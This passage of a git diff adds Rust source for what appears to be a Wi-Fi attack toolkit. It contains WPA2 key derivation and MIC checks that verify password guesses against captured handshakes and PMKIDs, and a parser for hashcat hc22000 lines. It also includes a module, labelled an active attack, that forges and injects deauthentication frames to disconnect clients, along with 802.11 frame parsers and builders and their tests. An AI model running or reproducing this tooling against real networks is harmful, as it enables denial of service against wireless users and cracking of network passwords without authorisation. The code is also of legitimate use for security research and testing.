16]; + for j in 0..16 { + x[j] ^= block[j]; + } + x = aes.encrypt_block(&x); + } + for j in 0..16 { + x[j] ^= m_last[j]; + } + aes.encrypt_block(&x) +} + +fn dbl(b: [u8; 16]) -> [u8; 16] { + let mut out = [0u8; 16]; + let msb = b[0] & 0x80 != 0; + let mut carry = 0u8; + for i in (0..16).rev() { + let new_carry = (b[i] >> 7) & 1; + out[i] = (b[i] << 1) | carry; + carry = new_carry; + } + if msb { + out[15] ^= 0x87; + } + out +} + +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn pmk_rfc6070_c4096() { + // RFC 6070 PBKDF2-HMAC-SHA1: P="password" S="salt" c=4096 dkLen=20. + let mut out20 = [0u8; 20]; + pbkdf2_hmac_sha1(b"password", b"salt", 4096, &mut out20); + assert_eq!(hex(&out20), "4b007901b765489abead49d926f721d065a429c1"); + + // RFC 6070 fast checks: c=1 and c=2 vectors anchor the block-1 chain. + let mut o1 = [0u8; 20]; + pbkdf2_hmac_sha1(b"password", b"salt", 1, &mut o1); + assert_eq!(hex(&o1), "0c60c80f961f0e71f3a9b524af6012062fe037a6"); + pbkdf2_hmac_sha1(b"password", b"salt", 2, &mut o1); + assert_eq!(hex(&o1), "ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957"); + + // Known WPA2 PMK vector (used by aircrack/hashcat test suites): + // ssid "IEEE", pass "password". + let k = pmk(b"password", b"IEEE"); + assert_eq!( + hex(&k), + "f42c6fc52df0ebef9ebb4b90b38a5f902e83fe1b135a70e23aed762e9710a12e" + ); + } + + #[test] + fn gf_sanity() { + // AES xtime known sample: 0x57 * 0x13 = 0xfe (FIPS-197 example). + assert_eq!(gf_mul(0x57, 0x13), 0xfe); + let t = AesTables::new(); + // S-box spot values (FIPS-197 Table 4/5): S(0x00)=0x63, S(0x53)=0xed. + assert_eq!(t.sbox[0x00], 0x63); + assert_eq!(t.sbox[0x53], 0xed); + assert_eq!(t.sbox[0x01], 0x7c); + assert_eq!(t.sbox[0xff], 0x16); + // The S-box must be a bijection. + let mut seen = [false; 256]; + for &v in t.sbox.iter() { + assert!(!seen[v as usize], "s-box collides"); + seen[v as usize] = true; + } + // MixColumns constants: 2 and 3 tables agree with xtime. + // 0x80*2 = 0x1b; 0xdb*2 = (0xdb<<1)^0x1b = 0xb6^0x1b = 0xad; + // 0xdb*3 = 0xdb ^ 0xad = 0x76. + assert_eq!(t.mul2[0x80], 0x1b); + assert_eq!(t.mul2[0xdb], 0xad); + assert_eq!(t.mul3[0xdb], 0x76); + } + + #[test] + fn aes128_fips197() { + // FIPS-197 Appendix B / C.1 test vector. + let key = [ + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, + 0x0e, 0x0f, + ]; + let pt = [ + 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, + 0xee, 0xff, + ]; + let aes = Aes128::new(&key); + let ct = aes.encrypt_block(&pt); + assert_eq!( + hex(&ct), + "69c4e0d86a7b0430d8cdb78070b4c55a" + ); + } + + #[test] + fn cmac_rfc4493() { + let k = unhex_field("2b7e151628aed2a6abf7158809cf4f3c", "k").unwrap(); + let key: [u8; 16] = k.try_into().unwrap(); + + let m0: [u8; 0] = []; + assert_eq!( + hex(&cmac_aes128(&key, &m0)), + "bb1d6929e95937287fa37d129b756746" + ); + + let m16 = unhex_field("6bc1bee22e409f96e93d7e117393172a", "m").unwrap(); + assert_eq!( + hex(&cmac_aes128(&key, &m16)), + "070a16b46b4d4144f79bdd9dd04a287c" + ); + + let m40 = unhex_field( + "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411", + "m", + ) + .unwrap(); + assert_eq!( + hex(&cmac_aes128(&key, &m40)), + "dfa66747de9ae63030ca32611497c827" + ); + + let m64 = unhex_field( + "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710", + "m", + ) + .unwrap(); + assert_eq!( + hex(&cmac_aes128(&key, &m64)), + "51f0bebf7e3b9d92fc49741779363cfe" + ); + } + + /// Build a minimal EAPOL-Key (WPA2 descriptor) message-2 frame with the + /// MIC field zeroed, exactly 99 bytes. + fn build_eapol_m2(key_ver: u8, snonce: &[u8; 32], replay: u64) -> Vec { + let mut f = Vec::with_capacity(99); + f.push(0x02); // EAPOL version 2 + f.push(0x03); // type: EAPOL-Key + f.extend_from_slice(&95u16.to_be_bytes()); // body length + f.push(0x02); // descriptor type: RSN + let info: u16 = 0x0100 | 0x0080 | (key_ver as u16 & 0x7); // pairwise|mic|ver + f.extend_from_slice(&info.to_be_bytes()); + f.extend_from_slice(&16u16.to_be_bytes()); // key length + f.extend_from_slice(&replay.to_be_bytes()); + f.extend_from_slice(snonce); + f.extend_from_slice(&[0u8; 16]); // key IV + f.extend_from_slice(&[0u8; 8]); // key RSC + f.extend_from_slice(&[0u8; 8]); // key ID + f.extend_from_slice(&[0u8; 16]); // MIC (zeroed) + f.extend_from_slice(&0u16.to_be_bytes()); // key data len + assert_eq!(f.len(), 99); + f + } + + fn synthetic_target(ssid: &str, pass: &[u8], key_ver: u8) -> (CrackTarget, [u8; 32]) { + let ap = "aa:bb:cc:dd:ee:ff".parse::().unwrap(); + let sta = "11:22:33:44:55:66".parse::().unwrap(); + let anonce: [u8; 32] = [0x5a; 32]; + let snonce: [u8; 32] = [0xc3; 32]; + let key = pmk(pass, ssid.as_bytes()); + let dk = ptk(&key, &ap, &sta, &anonce, &snonce); + let frame = build_eapol_m2(key_ver, &snonce, 1); + let m = mic(&dk, &frame, key_ver); + let cap = HandshakeCapture::new( + ap, + sta, + ssid.to_string(), + anonce, + snonce, + m, + frame, + key_ver, + ); + (CrackTarget::Handshake(cap), key) + } + + #[test] + fn synthetic_handshake_sha1_mic() { + let (target, _) = synthetic_target("parafin", b"sup3r-secret", 2); + assert!(verify(&target, b"sup3r-secret")); + assert!(!verify(&target, b"sup3r-wrong")); + // Tampered MIC must not verify. + if let CrackTarget::Handshake(mut h) = target.clone() { + h.eapol_m2[10] ^= 1; // flip a nonce bit → MIC mismatch + assert!(!verify(&CrackTarget::Handshake(h), b"sup3r-secret")); + } + } + + #[test] + fn synthetic_handshake_cmac_mic() { + let (target, _) = synthetic_target("parafin", b"sup3r-secret", 3); + assert!(verify(&target, b"sup3r-secret")); + assert!(!verify(&target, b"sup3r-wrong")); + } + + #[test] + fn pmkid_roundtrip() { + let ap = "aa:bb:cc:dd:ee:ff".parse::().unwrap(); + let sta = "11:22:33:44:55:66".parse::().unwrap(); + let key = pmk(b"sup3r-secret", b"parafin"); + let id = pmkid_hash(&key, &ap, &sta); + let cap = PmkidCapture { + ap, + client: sta, + essid: "parafin".to_string(), + pmkid: id, + }; + let target = CrackTarget::Pmkid(cap); + assert!(verify(&target, b"sup3r-secret")); + assert!(!verify(&target, b"another-pass")); + } + + /// Export a handshake exactly like handshake::handshake_hc22000 does: + /// 02*MIC*MAC_AP*MAC_CLIENT*ESSID(hex)*ANONCE*EAPOL(hex)*00 + fn export_handshake(h: &HandshakeCapture) -> String { + let mut s = String::new(); + s.push_str("02*"); + s.push_str(&hex(h.mic())); + s.push('*'); + for b in h.ap.0 { + s.push_str(&format!("{b:02x}")); + } + s.push('*'); + for b in h.client.0 { + s.push_str(&format!("{b:02x}")); + } + s.push('*'); + for b in h.essid.as_bytes() { + s.push_str(&format!("{b:02x}")); + } + s.push('*'); + for b in h.anonce { + s.push_str(&format!("{b:02x}")); + } + s.push('*'); + for b in &h.eapol_m2 { + s.push_str(&format!("{b:02x}")); + } + s.push_str("*00"); + s + } + + /// Export a PMKID capture: 01*PMKID*MAC_AP*MAC_CLIENT*ESSID(hex)*** + fn export_pmkid(p: &PmkidCapture) -> String { + let mut s = String::from("01*"); + s.push_str(&hex(&p.pmkid)); + s.push('*'); + for b in p.ap.0 { + s.push_str(&format!("{b:02x}")); + } + s.push('*'); + for b in p.client.0 { + s.push_str(&format!("{b:02x}")); + } + s.push('*'); + for b in p.essid.as_bytes() { + s.push_str(&format!("{b:02x}")); + } + s.push_str("***"); + s + } + + #[test] + fn hc22000_handshake_roundtrip() { + let (target, _key) = synthetic_target("parafin", b"sup3r-secret", 2); + let h = match &target { + CrackTarget::Handshake(h) => h.clone(), + _ => unreachable!(), + }; + let line = export_handshake(&h); + let parsed = parse_hc22000(&line).unwrap(); + match &parsed { + CrackTarget::Handshake(p) => { + assert_eq!(p.ap, h.ap); + assert_eq!(p.client, h.client); + assert_eq!(p.essid, h.essid); + assert_eq!(&p.anonce, &h.anonce); + // GPU verification path must take snonce from parsed eapol. + assert_eq!(&p.snonce, &h.snonce); + assert_eq!(p.mic(), h.mic()); + assert_eq!(p.eapol_m2, h.eapol_m2); + assert_eq!(p.key_ver, 2); + } + _ => panic!("wrong target type"), + } + assert!(verify(&parsed, b"sup3r-secret")); + assert!(!verify(&parsed, b"nope-nope")); + } + + #[test] + fn hc22000_pmkid_roundtrip() { + let ap = "aa:bb:cc:dd:ee:ff".parse::().unwrap(); + let sta = "11:22:33:44:55:66".parse::().unwrap(); + let key = pmk(b"hunter2!!", b"parafin"); + let cap = PmkidCapture { + ap, + client: sta, + essid: "parafin".to_string(), + pmkid: pmkid_hash(&key, &ap, &sta), + }; + let line = export_pmkid(&cap); + assert!(line.ends_with("***")); + let parsed = parse_hc22000(&line).unwrap(); + assert!(verify(&parsed, b"hunter2!!")); + assert!(!verify(&parsed, b"hunter3!!")); + } + + #[test] + fn hc22000_rejections() { + assert!(parse_hc22000("").is_err()); + assert!(parse_hc22000("03*aa*bb").is_err()); + assert!(parse_hc22000("01*zz*aabbccddeeff*112233445566*70617261***").is_err()); + // odd-length hex + assert!(parse_hc22000("01*abc*aabbccddeeff*112233445566*70***").is_err()); + // type 02 missing eapol field + assert!( + parse_hc22000("02*070a16b46b4d4144f79bdd9dd04a287c*aabbccddeeff*112233445566*70617261*abcd") + .is_err() + ); + } + + fn hex(b: &[u8]) -> String { + b.iter().map(|x| format!("{x:02x}")).collect() + } +} + diff --git a/src/deauth.rs b/src/deauth.rs index e69de29..6d001ec 100644 --- a/src/deauth.rs +++ b/src/deauth.rs @@ -0,0 +1,170 @@ +//! Deauthentication/disassociation frame blaster (active attack). +//! +//! Unicast targets get both directions (ap→sta *and* sta→ap); a broadcast +//! target only gets the AP-side broadcasted deauth — there is no sane +//! reverse direction for the broadcast address. + +use std::thread::sleep; +use std::time::Duration; + +use anyhow::{Context, Result}; +use crossbeam_channel::Sender; + +use crate::common::{Event, MacAddr}; +use crate::dot11::build_deauth; +use crate::radiotap::INJECT_HDR; +use crate::rawsock::RawSocket; + +pub const REASON_UNSPECIFIED: u16 = 1; +pub const REASON_CLASS2: u16 = 6; +pub const REASON_CLASS3: u16 = 7; + +/// Pacing between frames: 15 ms ≈ 64 frames/s. +const PACE: Duration = Duration::from_millis(15); +/// Emit [`Event::DeauthSent`] after every this many frames. +const REPORT_EVERY: u64 = 32; + +/// Number of frames `blast` will attempt for `count` requested deauths: +/// broadcast → `count` (AP side only), unicast → `2*count` (both directions). +fn burst_plan(ap: &MacAddr, target: &MacAddr, count: u32) -> u64 { + let _ = ap; + if target.is_broadcast() { + u64::from(count) + } else { + 2 * u64::from(count) + } +} + +/// Rewards: `Some(frame_with_radiotap)` queues for TX. +fn frame_plan(ap: &MacAddr, target: &MacAddr) -> Vec> { + let mut frames = Vec::new(); + let mut push = |f: Vec| { + let mut with_hdr = Vec::with_capacity(INJECT_HDR.len() + f.len()); + with_hdr.extend_from_slice(&INJECT_HDR); + with_hdr.extend_from_slice(&f); + frames.push(with_hdr); + }; + // AP side. + push(build_deauth(ap, target, REASON_CLASS3)); + if !target.is_broadcast() { + // Client side: forge a deauth from the station towards the AP. + push(build_deauth(target, ap, REASON_CLASS3)); + } + frames +} + +/// Send `count` deauth rounds against `target` via `sock` (`sock` is bound +/// to a monitor-mode interface by the caller). Rate-limited to ~64 pps with +/// a [`Event::DeauthSent`] progress event every 32 sent frames. +/// +/// Retries briefly on EAGAIN (driver TX ring full); any other error aborts. +/// Returns frames actually written to the wire. +pub fn blast( + sock: &RawSocket, + ap: &MacAddr, + target: &MacAddr, + count: u32, + tx: &Sender, +) -> Result { + let frames = frame_plan(ap, target); + let mut sent: u64 = 0; + let mut last_report: u64 = 0; + + for round in 0..count { + for f in &frames { + // EAGAIN-aware send: bounded backoff (~5 × 2 ms), then give up. + let mut attempt = 0; + loop { + match sock.send(f) { + Ok(_) => break, + Err(ref e) if e.raw_os_error() == Some(libc::EAGAIN) => { + attempt += 1; + if attempt >= 5 { + anyhow::bail!("TX ring stayed full (EAGAIN) after retries"); + } + sleep(Duration::from_millis(2)); + } + Err(e) => { + return Err(e) + .context("deauth send failed (monitor + packet injection ok?)"); + } + } + } + sent += 1; + if sent - last_report >= REPORT_EVERY { + last_report = sent; + let _ = tx.send(Event::DeauthSent { + ap: *ap, + target: *target, + count: sent, + }); + } + sleep(PACE); + } + let _ = round; + } + + // Final report so the UI sees the exact total even under REPORT_EVERY. + if sent != last_report { + let _ = tx.send(Event::DeauthSent { + ap: *ap, + target: *target, + count: sent, + }); + } + Ok(sent) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn burst_plan_broadcast_is_count() { + let ap = "aa:bb:cc:dd:ee:ff".parse::().unwrap(); + assert_eq!(burst_plan(&ap, &MacAddr::BROADCAST, 10), 10); + assert_eq!(burst_plan(&ap, &MacAddr::BROADCAST, 0), 0); + } + + #[test] + fn burst_plan_unicast_is_double() { + let ap = "aa:bb:cc:dd:ee:ff".parse::().unwrap(); + let sta = "11:22:33:44:55:66".parse::().unwrap(); + assert_eq!(burst_plan(&ap, &sta, 10), 20); + assert_eq!(burst_plan(&ap, &sta, 1), 2); + } + + #[test] + fn frame_plan_broadcast_only_ap_side() { + let ap = "aa:bb:cc:dd:ee:ff".parse::().unwrap(); + let frames = frame_plan(&ap, &MacAddr::BROADCAST); + assert_eq!(frames.len(), 1); + // Radiotap header prefix present, then deauth FC 0x00c0 little-endian. + assert!(frames[0].starts_with(&INJECT_HDR)); + assert_eq!(&frames[0][8..10], &0x00c0u16.to_le_bytes()); + // addr1 (802.11 offset 4 → +8 radiotap) = broadcast, addr2 = ap. + assert_eq!(&frames[0][12..18], &MacAddr::BROADCAST.0); + assert_eq!(&frames[0][18..24], &ap.0); + } + + #[test] + fn frame_plan_unicast_both_directions() { + let ap = "aa:bb:cc:dd:ee:ff".parse::().unwrap(); + let sta = "11:22:33:44:55:66".parse::().unwrap(); + let frames = frame_plan(&ap, &sta); + assert_eq!(frames.len(), 2); + // Direction 1: ap → sta (addr1 = sta, addr2 = ap). + assert_eq!(&frames[0][12..18], &sta.0); + assert_eq!(&frames[0][18..24], &ap.0); + // Direction 2: sta → ap (addr1 = ap, addr2 = sta). + assert_eq!(&frames[1][12..18], &ap.0); + assert_eq!(&frames[1][18..24], &sta.0); + // Round-trip through the dot11 parser: (transmitter, target). + let (from2, tgt2) = crate::dot11::parse_deauth(&frames[1][8..]).expect("parse"); + assert_eq!(from2, sta); + assert_eq!(tgt2, ap); + let (from1, tgt1) = crate::dot11::parse_deauth(&frames[0][8..]).expect("parse"); + assert_eq!(from1, ap); + assert_eq!(tgt1, sta); + } +} diff --git a/src/dot11.rs b/src/dot11.rs index e69de29..d3cc137 100644 --- a/src/dot11.rs +++ b/src/dot11.rs @@ -0,0 +1,620 @@ +//! 802.11 MAC frame parsing and building. +//! +//! Zero-copy where possible; all reads are bounds-checked through `get`. +//! Frames here never carry an FCS (the driver appends it on TX, and monitor +//! captures may or may not include one — parsers simply ignore trailing +//! bytes beyond what they need). + +use crate::common::{MacAddr, Security}; + +/// LLC/SNAP header prefixing an EAPOL payload inside a data frame. +const SNAP_EAPOL: [u8; 8] = [0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x88, 0x8e]; + +const IE_SSID: u8 = 0; +const IE_DS_PARAM: u8 = 3; +const IE_RSN: u8 = 48; +const IE_VENDOR: u8 = 221; + +/// Microsoft (WPA) vendor IE OUI+type prefix. +const WPA_OUI: [u8; 4] = [0x00, 0x50, 0xf2, 0x01]; + +const CAP_PRIVACY: u16 = 0x0010; + +/// Duration value used on injected management frames. +pub const INJECT_DURATION: u16 = 314; + +// --------------------------------------------------------------------------- +// little helpers (all bounds-checked) +// --------------------------------------------------------------------------- + +fn u16le(f: &[u8], o: usize) -> Option { + Some(u16::from_le_bytes(f.get(o..o + 2)?.try_into().ok()?)) +} + +fn mac_at(f: &[u8], o: usize) -> Option { + Some(MacAddr(f.get(o..o + 6)?.try_into().ok()?)) +} + +/// (type, subtype) from the frame-control field. +fn type_subtype(fc: u16) -> (u16, u16) { + ((fc >> 2) & 3, (fc >> 4) & 0xf) +} + +/// Walk information elements starting at `cur`, invoking `f(id, body)`. +/// Stops cleanly on a truncated trailing IE. +fn walk_ies(f: &[u8], mut cur: usize, mut cb: T) +where + T: FnMut(u8, &[u8]), +{ + while let Some(body_len) = f.get(cur + 1).map(|&l| l as usize) { + let Some(body) = f.get(cur + 2..cur + 2 + body_len) else { + break; + }; + cb(f[cur], body); + cur += 2 + body_len; + } +} + +// --------------------------------------------------------------------------- +// parsed metadata +// --------------------------------------------------------------------------- + +pub struct MgmtInfo { + pub bssid: MacAddr, + pub transmitter: MacAddr, // addr2 + pub ssid: Option, // None if hidden/zero-len + pub channel: Option, // DS parameter set IE + pub security: Security, // from RSN/WPA IEs + capability privacy bit +} + +/// True if the RSN IE body lists AKM suite 00:0f:ac:8 (SAE → WPA3). +fn rsn_has_akm(body: &[u8], akm_type: u8) -> bool { + // layout: version(2) group(4) pairwise_cnt(2) pairwise[4n] + // akm_cnt(2) akm[4m] ... + let Some(pair_cnt) = u16le(body, 6).map(|c| c as usize) else { + return false; + }; + let mut o = 8usize + 4 * pair_cnt; + let Some(akm_cnt) = u16le(body, o).map(|c| c as usize) else { + return false; + }; + o += 2; + for i in 0..akm_cnt { + let Some(suite) = body.get(o + 4 * i..o + 4 * i + 4) else { + break; + }; + if suite[0] == 0x00 && suite[1] == 0x0f && suite[2] == 0xac && suite[3] == akm_type { + return true; + } + } + false +} + +// --------------------------------------------------------------------------- +// management frame parsers +// --------------------------------------------------------------------------- + +/// Parse beacon OR probe-response; None for other/broken frames. +pub fn parse_beacon_or_probe(f: &[u8]) -> Option { + let fc = u16le(f, 0)?; + let (ty, st) = type_subtype(fc); + if ty != 0 || (st != 8 && st != 5) { + return None; + } + // fixed params: timestamp(8) interval(2) capability(2) after 24B header + let cap = u16le(f, 34)?; + + let mut ssid = None; + let mut channel = None; + let mut has_rsn = false; + let mut has_sae = false; + let mut has_wpa = false; + walk_ies(f, 36, |id, body| match id { + IE_SSID => { + if !body.is_empty() { + ssid = Some(String::from_utf8_lossy(body).into_owned()); + } + } + IE_DS_PARAM => { + channel = body.first().copied(); + } + IE_RSN => { + has_rsn = true; + has_sae |= rsn_has_akm(body, 8); + } + IE_VENDOR => { + if body.len() >= 4 && body[..4] == WPA_OUI { + has_wpa = true; + } + } + _ => {} + }); + + let security = if has_rsn { + if has_sae { Security::Wpa3 } else { Security::Wpa2 } + } else if has_wpa { + Security::Wpa + } else if cap & CAP_PRIVACY != 0 { + Security::Wep + } else { + Security::Open + }; + + Some(MgmtInfo { + bssid: mac_at(f, 16)?, + transmitter: mac_at(f, 10)?, + ssid, + channel, + security, + }) +} + +/// Parse probe-request → Some((sta, ssid of probe)); None on broadcast +/// (zero-len SSID) yields `(sta, None)`. Non-probe frames → None. +pub fn parse_probe_req(f: &[u8]) -> Option<(MacAddr, Option)> { + let fc = u16le(f, 0)?; + if type_subtype(fc) != (0, 4) { + return None; + } + let sta = mac_at(f, 10)?; + let mut ssid = None; + walk_ies(f, 24, |id, body| { + if id == IE_SSID && !body.is_empty() { + ssid = Some(String::from_utf8_lossy(body).into_owned()); + } + }); + if f.len() < 24 { + return None; + } + Some((sta, ssid)) +} + +/// Parse deauth/disassoc → (from-ap MacAddr as transmitter, target addr1). +pub fn parse_deauth(f: &[u8]) -> Option<(MacAddr, MacAddr)> { + let fc = u16le(f, 0)?; + let (ty, st) = type_subtype(fc); + if ty != 0 || (st != 12 && st != 10) { + return None; + } + Some((mac_at(f, 10)?, mac_at(f, 4)?)) +} + +// --------------------------------------------------------------------------- +// data frames +// --------------------------------------------------------------------------- + +/// Header length of a data frame: 24 base, +6 for addr4 in WDS +/// (ToDS && FromDS), +2 for QoS control on QoS data subtypes. +fn data_hdr_len(fc: u16) -> usize { + let mut n = 24; + if fc & 0x0100 != 0 && fc & 0x0200 != 0 { + n += 6; // addr4 (WDS) + } + if fc & 0x0080 != 0 { + n += 2; // QoS control + } + n +} + +/// Extract (bssid, station) that best describes a data frame's endpoints +/// using ToDS/FromDS bits. None for mgmt/ctrl frames. +pub fn data_endpoints(f: &[u8]) -> Option<(MacAddr, MacAddr)> { + let fc = u16le(f, 0)?; + if type_subtype(fc).0 != 2 { + return None; + } + let to_ds = fc & 0x0100 != 0; + let from_ds = fc & 0x0200 != 0; + Some(match (to_ds, from_ds) { + // IBSS / ad-hoc: bssid in addr3, station is the transmitter. + (false, false) => (mac_at(f, 16)?, mac_at(f, 10)?), + // AP → STA: bssid is addr2, station is addr1. + (false, true) => (mac_at(f, 10)?, mac_at(f, 4)?), + // STA → AP: bssid is addr1, station is addr2. + (true, false) => (mac_at(f, 4)?, mac_at(f, 10)?), + // WDS: addr1=RA, addr2=TA, addr4=SA. + (true, true) => (mac_at(f, 10)?, mac_at(f, 24)?), + }) +} + +/// If frame carries an EAPOL-Key payload (LLC/SNAP 88-8e in a data frame), +/// return (bssid, station_is_ap_sender, eapol_bytes). +pub fn parse_eapol(f: &[u8]) -> Option<(MacAddr, bool, &[u8])> { + let fc = u16le(f, 0)?; + if type_subtype(fc).0 != 2 { + return None; + } + let to_ds = fc & 0x0100 != 0; + let from_ds = fc & 0x0200 != 0; + let hdr = data_hdr_len(fc); + if *f.get(hdr..hdr + 8)? != SNAP_EAPOL { + return None; + } + let eapol = f.get(hdr + 8..)?; + let (bssid, ap_sender) = match (to_ds, from_ds) { + (false, false) => (mac_at(f, 16)?, false), + (false, true) => (mac_at(f, 10)?, true), + (true, false) => (mac_at(f, 4)?, false), + (true, true) => (mac_at(f, 10)?, true), + }; + Some((bssid, ap_sender, eapol)) +} + +// --------------------------------------------------------------------------- +// EAPOL-Key +// --------------------------------------------------------------------------- + +pub struct EapolKey<'a> { + pub key_info: u16, // raw key info field (BE order as on wire) + pub key_ver: u8, // bits 0..3 of key_info (descriptor version) + pub install: bool, // bit6 + pub key_ack: bool, // bit7 + pub key_mic: bool, // bit8 + pub secure: bool, // bit9 + pub replay_counter: u64, + pub nonce: [u8; 32], + pub mic: [u8; 16], // raw mic field (or RSN IE scan for pmkid) + pub key_data: &'a [u8], // RSN IE / KDEs (PMKID: 00-0f-ac:4) + pub raw: &'a [u8], // full eapol frame starting at version byte +} + +/// Parse an EAPOL-Key frame. Frame offsets (descriptor body starts at 4): +/// key_info 5..7, replay 9..17, nonce 17..49, iv 49..65, rsc 65..73, +/// id 73..81, mic 81..97, key_data_len 97..99, key_data 99.. +pub fn parse_eapol_key(eapol: &[u8]) -> Option> { + // eapol header(4) + 95-byte key descriptor fixed part = 99 minimum + if eapol.len() < 99 { + return None; + } + if eapol[1] != 3 { + return None; // not an EAPOL-Key packet + } + let key_info = u16::from_be_bytes([eapol[5], eapol[6]]); + let key_data_len = u16::from_be_bytes([eapol[97], eapol[98]]) as usize; + let key_data = &eapol[99..eapol.len().min(99 + key_data_len)]; + Some(EapolKey { + key_info, + key_ver: (key_info & 0x7) as u8, + install: key_info & (1 << 6) != 0, + key_ack: key_info & (1 << 7) != 0, + key_mic: key_info & (1 << 8) != 0, + secure: key_info & (1 << 9) != 0, + replay_counter: u64::from_be_bytes(eapol[9..17].try_into().ok()?), + nonce: eapol[17..49].try_into().ok()?, + mic: eapol[81..97].try_into().ok()?, + key_data, + raw: eapol, + }) +} + +/// 1..=4 4way message number derived from flags, 0 if not an EAPOL-Key. +pub fn eapol_4way_msg(k: &EapolKey) -> u8 { + // descriptor type 2 = RSN key, 254 = legacy WPA key + if !(k.raw.len() > 4 && (k.raw[4] == 2 || k.raw[4] == 254)) { + return 0; + } + if k.key_ack && !k.key_mic { + 1 // M1: ack, no mic + } else if k.key_ack && k.key_mic && k.install { + 3 // M3: ack+mic+install + } else if !k.key_ack && k.key_mic && k.secure { + 4 // M4: mic+secure, no ack + } else if !k.key_ack && k.key_mic && !k.secure { + 2 // M2: mic, no ack, not secure yet + } else { + 0 + } +} + +// --------------------------------------------------------------------------- +// frame builders (full 802.11 frame, NO radiotap — caller prepends INJECT_HDR) +// --------------------------------------------------------------------------- + +fn hdr3(fc_lo: u8, addr1: &MacAddr, addr2: &MacAddr, addr3: &MacAddr, seq: u16) -> Vec { + let mut v = Vec::with_capacity(24); + v.extend_from_slice(&[fc_lo, 0x00]); + v.extend_from_slice(&INJECT_DURATION.to_le_bytes()); + v.extend_from_slice(&addr1.0); + v.extend_from_slice(&addr2.0); + v.extend_from_slice(&addr3.0); + v.extend_from_slice(&(seq << 4).to_le_bytes()); // seq control: seq in bits 4..16 + v +} + +pub fn build_deauth(ap: &MacAddr, target: &MacAddr, reason: u16) -> Vec { + let mut v = hdr3(0xC0, target, ap, ap, 0); + v.extend_from_slice(&reason.to_le_bytes()); + v +} + +pub fn build_disassoc(ap: &MacAddr, target: &MacAddr, reason: u16) -> Vec { + let mut v = hdr3(0xA0, target, ap, ap, 0); + v.extend_from_slice(&reason.to_le_bytes()); + v +} + +/// Open-system authentication request sta → ap (algo 0, transaction 1). +pub fn build_auth_open(ap: &MacAddr, sta: &MacAddr, seq: u16) -> Vec { + let mut v = hdr3(0xB0, ap, sta, ap, seq); + v.extend_from_slice(&0u16.to_le_bytes()); // auth algorithm: open system + v.extend_from_slice(&1u16.to_le_bytes()); // transaction sequence + v.extend_from_slice(&0u16.to_le_bytes()); // status + v +} + +/// Association request sta → ap: capability + listen interval + SSID IE. +pub fn build_assoc_req(ap: &MacAddr, sta: &MacAddr, ssid: &[u8]) -> Vec { + let mut v = hdr3(0x00, ap, sta, ap, 0); + v.extend_from_slice(&0x0431u16.to_le_bytes()); // capability (ESS | short preamble ...) + v.extend_from_slice(&10u16.to_le_bytes()); // listen interval + v.push(IE_SSID); + v.push(ssid.len().min(32) as u8); + v.extend_from_slice(&ssid[..ssid.len().min(32)]); + v +} + +// --------------------------------------------------------------------------- +// tests +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + + const AP: MacAddr = MacAddr([0x24, 0x65, 0x11, 0xaa, 0xbb, 0xcc]); + const STA: MacAddr = MacAddr([0x9c, 0xef, 0xd5, 0x11, 0x22, 0x33]); + + fn ie(id: u8, body: &[u8]) -> Vec { + let mut v = vec![id, body.len() as u8]; + v.extend_from_slice(body); + v + } + + fn rsn_ie(akm_type: u8) -> Vec { + // version 1, group CCMP, 1×pairwise CCMP, 1×AKM, rsn caps 0 + let mut b = vec![ + 0x01, 0x00, // version + 0x00, 0x0f, 0xac, 0x04, // group cipher CCMP + 0x01, 0x00, // pairwise count + 0x00, 0x0f, 0xac, 0x04, // pairwise CCMP + 0x01, 0x00, // akm count + 0x00, 0x0f, 0xac, akm_type, // PSK=2 / SAE=8 + 0x00, 0x00, // rsn capabilities + ]; + ie(IE_RSN, &b.split_off(0)) + } + + /// FCS-free beacon as it would appear after radiotap is stripped: + /// SSID "parafin", channel 6, WPA2 (RSN, AKM PSK), privacy bit set. + fn parafin_beacon() -> Vec { + let mut v = vec![0x80, 0x00]; // FC: beacon + v.extend_from_slice(&[0x00, 0x00]); // duration + v.extend_from_slice(&MacAddr::BROADCAST.0); // addr1 + v.extend_from_slice(&AP.0); // addr2 = transmitter + v.extend_from_slice(&AP.0); // addr3 = bssid + v.extend_from_slice(&[0x00, 0x00]); // seq + v.extend_from_slice(&[0x00; 8]); // timestamp + v.extend_from_slice(&100u16.to_le_bytes()); // beacon interval + v.extend_from_slice(&0x0411u16.to_le_bytes()); // capability: ESS | privacy | short preamble + v.extend_from_slice(&ie(IE_SSID, b"parafin")); + v.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96])); // supported rates + v.extend_from_slice(&ie(IE_DS_PARAM, &[6])); // channel 6 + v.extend_from_slice(&ie(5, &[0x00, 0x01, 0x00, 0x00])); // TIM + v.extend_from_slice(&rsn_ie(2)); + v + } + + #[test] + fn parafin_beacon_parses_to_wpa2_ch6() { + let info = parse_beacon_or_probe(¶fin_beacon()).expect("beacon parses"); + assert_eq!(info.bssid, AP); + assert_eq!(info.transmitter, AP); + assert_eq!(info.ssid.as_deref(), Some("parafin")); + assert_eq!(info.channel, Some(6)); + assert_eq!(info.security, Security::Wpa2); + } + + #[test] + fn beacon_security_matrix() { + // WPA3: same beacon but SAE AKM + let mut f = parafin_beacon(); + let rsn_at = f.len() - rsn_ie(8).len(); + f.splice(rsn_at.., rsn_ie(8)); + assert_eq!(parse_beacon_or_probe(&f).unwrap().security, Security::Wpa3); + + // WPA: vendor IE, no RSN + let mut hdr_fixed = parafin_beacon(); + hdr_fixed.truncate(36); + hdr_fixed.extend_from_slice(&ie(IE_SSID, b"legacy")); + hdr_fixed.extend_from_slice(&ie(IE_VENDOR, &[0x00, 0x50, 0xf2, 0x01, 0x01, 0x00])); + 